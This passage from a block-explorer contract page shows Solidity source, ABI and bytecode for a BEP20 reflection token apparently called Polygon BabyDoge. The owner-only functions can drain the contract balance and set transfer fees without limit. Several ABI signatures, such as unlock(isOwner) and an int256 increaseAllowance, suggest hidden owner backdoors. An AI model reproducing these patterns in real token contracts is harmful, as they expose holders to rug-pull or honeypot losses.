                break;
            }
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "BEP20: transfer from the zero address");
        require(to != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!swapAndLiquifyEnabled) {
            _transferNormal(from, to, amount);
            return;
        }
        
        if(from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
        
        if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == pancakePair) {
            if (overMinimumTokenBalance) {
                contractTokenBalance = minimumTokensBeforeSwap;
                swapTokens(contractTokenBalance);    
            }
	        uint256 balance = address(this).balance;
            if (buyBackEnabled && balance > uint256(1 * 10**18)) {
                
                if (balance > buyBackUpperLimit)
                    balance = buyBackUpperLimit;
                
                buyBackTokens(balance.div(100));
            }
        }
        
        bool takeFee = true;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }
        
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
       
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(contractTokenBalance);
        uint256 transferredBalance = address(this).balance.sub(initialBalance);

        //Send to Marketing address
        transferToAddressETH(marketingAddress, transferredBalance.div(_liquidityFee).mul(marketingDivisor));
        
    }
    

    function buyBackTokens(uint256 amount) private lockTheSwap {
    	if (amount > 0) {
    	    swapETHForTokens(amount);
	    }
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = pancakeRouter.WETH();

        _approve(address(this), address(pancakeRouter), tokenAmount);

        // make the swap
        pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }
    
    function swapETHForTokens(uint256 amount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = pancakeRouter.WETH();
        path[1] = address(this);

      // make the swap
        pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0, // accept any amount of Tokens
            path,
            marketingAddress, // Burn address
            block.timestamp.add(300)
        );
        
        emit SwapETHForTokens(amount, path);
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(pancakeRouter), tokenAmount);

        // add the liquidity
        pancakeRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }
    
    function _transferNormal(address sender, address recipient, uint256 tAmount) private {
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tAmount);
        emit Transfer(sender, recipient, tAmount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
	    _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
    	_tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
    	_tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
        return (tTransferAmount, tFee, tLiquidity);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
    }
    
    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(
            10**2
        );
    }
    
    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
    
    function prepareForPreSale() external onlyOwner {
        address payable _owner = _msgSender();
        _owner.transfer(address(this).balance);
        _taxFee = 0;
        _liquidityFee = 0;
        _maxTxAmount = 1000000000 * 10**6 * 10**9;
    }
    
    function removeAllFee() private {
        if(_taxFee == 0 && _liquidityFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;
        _taxFee = 0;
        _liquidityFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }
    
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
        _liquidityFee = liquidityFee;
    }
    
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }
    
    function setMarketingDivisor(uint256 divisor) external onlyOwner() {
        marketingDivisor = divisor;
    }

    function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
        minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
    }
    
     function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() {
        buyBackUpperLimit = buyBackLimit * 10**18;
    }

    function setMarketingAddress(address _marketingAddress) external onlyOwner() {
        marketingAddress = payable(_marketingAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function setBuyBackEnabled(bool _enabled) public onlyOwner {
        buyBackEnabled = _enabled;
        emit BuyBackEnabledUpdated(_enabled);
    }
    
    function activeContract() external onlyOwner {
        setSwapAndLiquifyEnabled(true);
        _taxFee = 2;
        _liquidityFee = 6;
        _maxTxAmount = 420 * 10000000 * 10**6 * 10**9;
    }
    
    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve BNB from pancakeRouter when swaping
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"BuyBackEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"RewardLiquidityProviders","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBackEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBackUpperLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"int256","name":"addedValue","type":"int256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeRouter","outputs":[{"internalType":"contract IPancakeRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prepareForPreSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setBuyBackEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyBackLimit","type":"uint256"}],"name":"setBuybackUpperLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMarketingDivisor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumTokensBeforeSwap","type":"uint256"}],"name":"setNumTokensSellToAddToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"isOwner","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600380546001600160a01b0319167336736e51a6c37dbc3a3c1e18a4af78ad808fc71f1790556ddead0000000000000000000000006080526b015b6a759f4835dc24000000600a8190556200005c906000196200053a565b6200006a90600019620004d9565b600b556040805180820190915260108082526f506f6c79676f6e2042616279446f676560801b6020909201918252620000a691600d9162000403565b5060408051808201909152600c8082526b506f6c7942616279446f676560a01b6020909201918252620000dc91600e9162000403565b50600f805460ff19166009179055600260108190556011556006601281905560135560036014556a01bcb13a657b26388000006015556911c9a62d04ed0c8000006016556816c4abbebea01000006017556018805462ffff001916620100001790553480156200014b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b543360009081526004602081815260409283902093909355815163c45a015560e01b8152915173a5e0829caced8ffdd4de3c43696c57f7d7a678ff93849363c45a0155938181019391829003018186803b158015620001ed57600080fd5b505afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004a9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027157600080fd5b505afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620004a9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002f557600080fd5b505af11580156200030a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003309190620004a9565b6001600160601b0319606091821b811660c0529082901b1660a052600160076000620003646000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526007909252902080549091166001179055620003ac3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003f491815260200190565b60405180910390a3506200055b565b8280546200041190620004fd565b90600052602060002090601f01602090048101928262000435576000855562000480565b82601f106200045057805160ff191683800117855562000480565b8280016001018555821562000480579182015b828111156200048057825182559160200191906001019062000463565b506200048e92915062000492565b5090565b5b808211156200048e576000815560010162000493565b600060208284031215620004bb578081fd5b81516001600160a01b0381168114620004d2578182fd5b9392505050565b600082821015620004f857634e487b7160e01b81526011600452602481fd5b500390565b600181811c908216806200051257607f821691505b602082108114156200053457634e487b7160e01b600052602260045260246000fd5b50919050565b6000826200055657634e487b7160e01b81526012600452602481fd5b500690565b60805160601c60a05160601c60c05160601c612f6a620005be600039600081816107dd0152611b35015260008181610826015281816122fc015281816123d20152818161240e0152818161259301526126a0015260006103d70152612f6a6000f3fe6080604052600436106102e85760003560e01c80637d1db4a511610190578063b8c9d25c116100dc578063dd46706411610095578063ea2f0b371161006f578063ea2f0b37146108f9578063ec28438a14610919578063f0f165af14610939578063f2fde38b1461095957600080fd5b8063dd4670641461064a578063dd62ed3e1461089e578063de4a0386146108e457600080fd5b8063b8c9d25c146107cb578063bdc653ef146107ff578063c21ebd0714610814578063c49b9a8014610848578063caa9dbdf14610868578063d6b513cf1461088857600080fd5b8063906e9dd011610149578063a457c2d711610123578063a457c2d71461074b578063a5ece9411461076b578063a9059cbb1461078b578063b0cb81f1146107ab57600080fd5b8063906e9dd01461070157806395d89b4114610721578063a073d37f1461073657600080fd5b80637d1db4a5146106345780637d654c7f1461064a57806382d2a4bb1461066a57806388f820201461068a5780638da5cb5b146106c35780638ee88c53146106e157600080fd5b80633bd5d1731161024f5780635342acb4116102085780636053a0e3116101e25780636053a0e3146105be5780636198e339146105de5780636bc87c3a146105fe57806370a082311461061457600080fd5b80635342acb41461055d578063557ed1ba14610596578063602bc62b146105a957600080fd5b80633bd5d173146104a9578063437823ec146104c95780634549b039146104e95780634a74bb02146105095780635134f6ab1461052857806352390c021461053d57600080fd5b806327c8f835116102a157806327c8f835146103c557806329370cc6146104115780632d83811914610431578063313ce567146104515780633685d419146104735780633b124fe71461049357600080fd5b8063061c82d0146102f457806306fdde0314610316578063095ea7b31461034157806313114a9d1461037157806318160ddd1461039057806323b872dd146103a557600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061031461030f366004612c0f565b610979565b005b34801561032257600080fd5b5061032b6109b1565b6040516103389190612cc3565b60405180910390f35b34801561034d57600080fd5b5061036161035c366004612bac565b610a43565b6040519015158152602001610338565b34801561037d57600080fd5b50600c545b604051908152602001610338565b34801561039c57600080fd5b50600a54610382565b3480156103b157600080fd5b506103616103c0366004612b6c565b610a5a565b3480156103d157600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610338565b34801561041d57600080fd5b5061031461042c366004612bd7565b610ac3565b34801561043d57600080fd5b5061038261044c366004612c0f565b610b43565b34801561045d57600080fd5b50600f5460405160ff9091168152602001610338565b34801561047f57600080fd5b5061031461048e366004612afc565b610bc7565b34801561049f57600080fd5b5061038260105481565b3480156104b557600080fd5b506103146104c4366004612c0f565b610db6565b3480156104d557600080fd5b506103146104e4366004612afc565b610ea0565b3480156104f557600080fd5b50610382610504366004612c27565b610eee565b34801561051557600080fd5b5060185461036190610100900460ff1681565b34801561053457600080fd5b50610314610f7b565b34801561054957600080fd5b50610314610558366004612afc565b610fef565b34801561056957600080fd5b50610361610578366004612afc565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156105a257600080fd5b5042610382565b3480156105b557600080fd5b50600254610382565b3480156105ca57600080fd5b506018546103619062010000900460ff1681565b3480156105ea57600080fd5b506103146105f9366004612c0f565b611142565b34801561060a57600080fd5b5061038260125481565b34801561062057600080fd5b5061038261062f366004612afc565b6112df565b34801561064057600080fd5b5061038260155481565b34801561065657600080fd5b50610314610665366004612c0f565b61133e565b34801561067657600080fd5b50610314610685366004612c0f565b6113d5565b34801561069657600080fd5b506103616106a5366004612afc565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156106cf57600080fd5b506000546001600160a01b03166103f9565b3480156106ed57600080fd5b506103146106fc366004612c0f565b611417565b34801561070d57600080fd5b5061031461071c366004612afc565b611446565b34801561072d57600080fd5b5061032b611492565b34801561074257600080fd5b50601654610382565b34801561075757600080fd5b50610361610766366004612bac565b6114a1565b34801561077757600080fd5b506003546103f9906001600160a01b031681565b34801561079757600080fd5b506103616107a6366004612bac565b6114f0565b3480156107b757600080fd5b506103146107c6366004612c0f565b6114fd565b3480156107d757600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b34801561080b57600080fd5b50601754610382565b34801561082057600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b34801561085457600080fd5b50610314610863366004612bd7565b61152c565b34801561087457600080fd5b50610361610883366004612bac565b61159f565b34801561089457600080fd5b5061038260145481565b3480156108aa57600080fd5b506103826108b9366004612b34565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156108f057600080fd5b5061031461161b565b34801561090557600080fd5b50610314610914366004612afc565b61166a565b34801561092557600080fd5b50610314610934366004612c0f565b6116b5565b34801561094557600080fd5b50610314610954366004612c0f565b6116e4565b34801561096557600080fd5b50610314610974366004612afc565b611713565b6000546001600160a01b031633146109ac5760405162461bcd60e51b81526004016109a390612d16565b60405180910390fd5b601055565b6060600d80546109c090612e55565b80601f01602080910402602001604051908101604052809291908181526020018280546109ec90612e55565b8015610a395780601f10610a0e57610100808354040283529160200191610a39565b820191906000526020600020905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b6000610a503384846117fd565b5060015b92915050565b6000610a67848484611922565b610ab98433610ab485604051806060016040528060288152602001612ee8602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611c2b565b6117fd565b5060019392505050565b6000546001600160a01b03163314610aed5760405162461bcd60e51b81526004016109a390612d16565b60188054821515620100000262ff0000199091161790556040517f3794234fa370c9f3b948dda3e3040530785b2ef1eb27dda3ffde478f4e2643c090610b3890831515815260200190565b60405180910390a150565b6000600b54821115610baa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016109a3565b6000610bb4611c65565b9050610bc08382611c88565b9392505050565b6000546001600160a01b03163314610bf15760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03811660009081526008602052604090205460ff16610c595760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016109a3565b60005b600954811015610db257816001600160a01b031660098281548110610c9157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610da05760098054610cbc90600190612e3e565b81548110610cda57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610d1457634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600582526040808220829055600890925220805460ff191690556009805480610d7a57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610daa81612e90565b915050610c5c565b5050565b3360008181526008602052604090205460ff1615610e2b5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016109a3565b6000610e3683611cca565b505050506001600160a01b038416600090815260046020526040902054919250610e6291905082611d19565b6001600160a01b038316600090815260046020526040902055600b54610e889082611d19565b600b55600c54610e989084611d5b565b600c55505050565b6000546001600160a01b03163314610eca5760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000600a54831115610f425760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d7